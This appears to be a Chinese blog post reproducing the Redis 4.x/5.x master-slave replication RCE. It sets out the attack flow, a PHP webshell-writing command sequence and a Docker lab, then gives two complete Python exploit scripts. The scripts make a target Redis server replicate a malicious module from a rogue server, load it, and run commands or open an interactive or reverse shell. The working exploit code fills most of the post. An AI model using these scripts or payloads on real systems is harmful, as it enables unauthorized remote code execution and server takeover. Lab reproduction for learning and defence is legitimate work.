攻击场景:

能够访问远程redis的端口(直接访问或者SSRF)
对redis服务器可以访问到的另一台服务器有控制权

实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce

redis之前的攻击方法有

1.写shell

CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD '<?php eval($_GET[0]);?>'
SAVE

但是对于网站根目录而言,redis不一定据有写权限

2.root权限写crontab或者ssh文件

高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos

攻击的整个流程为:

1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器
2.在目标redis服务器上设置dbfilename
3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>)
4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)

环境搭建:

docker pull hareemca123/redis5:alpine
docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine

exp地址:

https://github.com/n0b0dyCN/redis-rogue-server

支持交互式shell和反弹shell

我们这里尝试写文件都是可以的:

只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的

这里直接rce的exp:

源地址:

https://github.com/vulhub/redis-rogue-getshell

#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n" class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1] return data.strip().split() def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b'' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break self.finish() def finish(self):
self.request.close() class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10) def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv() def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data def encode(self, data):
if isinstance(data, bytes):
data = data.split() args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg]) args.append(DELIMITER)
return b''.join(args) def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore') offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore') def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据 client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器 lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode() if auth:
client.send([b'AUTH', auth.encode()]) client.send([b'SLAVEOF', lhost, lport]) #设置我们的攻击机为master
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so']) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过
time.sleep(2) server.handle_request()
time.sleep(2) client.send([b'MODULE', b'LOAD', b'./exp.so']) #加载恶意模块
client.send([b'SLAVEOF', b'NO', b'ONE']) #停止同步主服务器数据
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb']) #将恶意模块写入到本地磁盘
resp = client.send([b'system.exec', command]) #发送要执行的命令
print(decode_command_line(resp)) client.send([b'MODULE', b'UNLOAD', b'system']) #卸载rce的模块 def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id') parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args() filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1) exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数 if __name__ == '__main__':
main()

这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:

#coding:utf-8
import socket
import sys
from time import sleep
from optparse import OptionParser
import re
CLRF = "\r\n"
SERVER_EXP_MOD_FILE = "exp.so"
DELIMITER = b"\r\n"
BANNER = """______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
""" def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" ")) def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ") def info(msg):
print(f"\033[1;32;40m[info]\033[0m {msg}") def error(msg):
print(f"\033[1;31;40m[err ]\033[0m {msg}") def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore') offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
print(data)
return data.decode(errors='ignore') def din(sock, cnt=65535):
global verbose
msg = sock.recv(cnt)
if verbose:
if len(msg) < 1000:
print(f"\033[1;34;40m[->]\033[0m {msg}")
else:
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
if sys.version_info < (3, 0):
res = re.sub(r'[^\x00-\x7f]', r'', msg)
else:
res = re.sub(b'[^\x00-\x7f]', b'', msg)
print(decode_command_line(msg))
return decode_command_line(msg) def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if len(msg) < 1000:
print(f"\033[1;33;40m[<-]\033[0m {msg}")
else:
print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1]) class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port)) def send(self, msg):
dout(self._sock, msg) def recv(self, cnt=65535):
return din(self._sock, cnt) def do(self, cmd):
self.send(encode_cmd(cmd))
buf = self.recv()
return buf def shell_cmd(self, cmd):
self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
buf = self.recv()
return buf class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10) def close(self):
self._sock.close() def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+FULLRESYNC " + "Z"*40 + "" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break def interact(remote):
info("Interact mode start, enter \"exit\" to quit.")
try:
while True:
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
if cmd == "exit":
return
r = remote.shell_cmd(cmd)
for l in decode_shell_result(r).split("\n"):
if l:
print("\033[1;34;40m[>>]\033[0m " + l)
except KeyboardInterrupt:
pass def reverse(remote):
info("Open reverse shell...")
addr = input("Reverse server address: ")
port = input("Reverse server port: ")
dout(remote, encode_cmd(f"system.rev {addr} {port}"))
info("Reverse shell payload sent.")
info(f"Check at {addr}:{port}") def cleanup(remote):
info("Unload module...")
remote.do("MODULE UNLOAD system") def runserver(rhost, rport, lhost, lport):
# expolit
remote = Remote(rhost, rport)
info("Setting master...")
remote.do(f"SLAVEOF {lhost} {lport}")
info("Setting dbfilename...")
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
info("Loading module...")
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
info("Temerory cleaning up...")
remote.do("SLAVEOF NO ONE")
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
rogue.close() # Operations here
choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
if choice.startswith("i"):
interact(remote)
elif choice.startswith("r"):
reverse(remote) cleanup(remote) if __name__ == '__main__':
print(BANNER)
parser = OptionParser()
parser.add_option("--rhost", dest="rh", type="string",
help="target host", metavar="REMOTE_HOST")
parser.add_option("--rport", dest="rp", type="int",
help="target redis port, default 6379", default=6379,
metavar="REMOTE_PORT")
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip", metavar="LOCAL_HOST")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 21000", default=21000,
metavar="LOCAL_PORT")
parser.add_option("--exp", dest="exp", type="string",
help="Redis Module to load, default exp.so", default="exp.so",
metavar="EXP_FILE")
parser.add_option("-v", "--verbose", action="store_true", default=False,
help="Show full data stream") (options, args) = parser.parse_args()
global verbose, payload, exp_mod
verbose = options.verbose
exp_mod = options.exp
payload = open(exp_mod, "rb").read() if not options.rh or not options.lh:
parser.error("Invalid arguments") info(f"TARGET {options.rh}:{options.rp}")
info(f"SERVER {options.lh}:{options.lp}")
try:
runserver(options.rh, options.rp, options.lh, options.lp)
except Exception as e:
error(repr(e))

我结合第一个exp的redis数据解码方式把第二个的稍微改了下,多字节解码可能报错直接decode(errors="ignore")忽略就好了,接下来就可以执行交互式shell或者反弹shell

Redis 4.x RCE 复现学习的更多相关文章

  1. CVE-2019-0232:Apache Tomcat RCE复现

    CVE-2019-0232:Apache Tomcat RCE复现 0X00漏洞简介 该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令 ...

  2. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  3. Spring Boot Actuator H2 RCE复现

    0x00 前言 Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程.当Spring Boot Actuator配置不当可能造成 ...

  4. Joomla 3.4.6 RCE复现及分析

    出品|MS08067实验室(www.ms08067.com) 本文作者:whojoe(MS08067安全实验室SRST TEAM成员) 前言 前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下 ...

  5. GKCTF X DASCTF 2021_babycat复现学习

    17解的一道题,涉及到了java反序列化的知识,学习了. 看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚. 打开后是个登录框,sign up提示不让注册, ...

  6. CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现

    目录 0 环境搭建 1 漏洞触发点 2 构建poc 3 总结 参考 0 环境搭建 影响范围: Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Ga ...

  7. CVE-2019-0708 RCE复现

    漏洞环境 192.168.91.136     windows7 6.1.7601 192.168.91.151      kali Windows7 SP1下载链接: ed2k://|file|cn ...

  8. Redis基本认识和基础学习-基本命令

    Redis 基本介绍 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANS ...

  9. Redis Cluster集群知识学习总结

    Redis集群解决方案有两个: 1)  Twemproxy: 这是Twitter推出的解决方案,简单的说就是上层加个代理负责分发,属于client端集群方案,目前很多应用者都在采用的解决方案.Twem ...

随机推荐

  1. Android opengl 笔记

    1. varying vec2 vTextureCoord; 不能用in vec2 ,varying 表示在vs 和 fs中都可见. 2. android 里面 0 和1 都要打小数点 比如0.0 1 ...

  2. 如何对Linux内核参数进行优化?

    打开配置文件 vi /etc/sysctl.conf 输入配置,如下是内核优化的参数 # TCP三次握手建立阶段接收SYN请求队列的最大长度,默认为1024(将其设置得大一些可以使出现Nginx繁忙来 ...

  3. Mac下安装Redis及Redis Desktop Manager

    1.简介 Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库.缓存和消息中间件. 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表 ...

  4. 2.1 使用JAXP 对 xml文档进行DOM解析

    //使用 jaxp 对xml文档进行dom解析 public class Demo2 { //必要步骤 @Test public void test() throws Exception { //1. ...

  5. 前端基础(九):SweetAlert(弹出框)

    简介 SweetAlert是一款很好用的弹出框框架 下载 点我下载 导入 博主用的是bootstrap-sweetalert,所以要依赖bootstrap,导入前先导入原生jQuery以及bootst ...

  6. Objective-C语法总结收集

    PART1--详解Objective-C语法快速参考 一.XCode.Objective-C.Cocoa说的是几样东西? 答案:三样东西. XCode:你可以把它看成是一个开发环境,就好像Visual ...

  7. tomcat 配置https协议

    开发的人脸识别功能,在本地localhost是可以访问,换成IP地址不能访问,通过不了浏览器的安全协议, 要把http协议,转成https协议,才能正常访问 方案有二种 1.在项目springboot ...

  8. c#使用 StackExchange.Redis 封装 RedisHelper

    公司一直在用.net自带的缓存,大家都知道.net自带缓存的缺点,就不多说了,不知道的可以查一查,领导最近在说分布式缓存,我们选的是redis,领导让我不忙的时候封装一下,搜索了两天,选了选第三方的插 ...

  9. ProjectEuler215 Crack-free Walls

    易知状态不会太多(\(3329\)个),直接搜一下,按照能不能连在后面建边,跑一遍dp即可 #include <bits/stdc++.h> using namespace std; st ...

  10. BZOJ4383 [POI2015]Pustynia[线段树优化建边+拓扑排序+差分约束]

    收获挺大的一道题. 这里的限制大小可以做差分约束,从$y\to x$连$1$,表示$y\le x-1$即$y<x$,然后跑最长路求解. 但是,如果这样每次$k+1$个小区间每个点都向$k$个断点 ...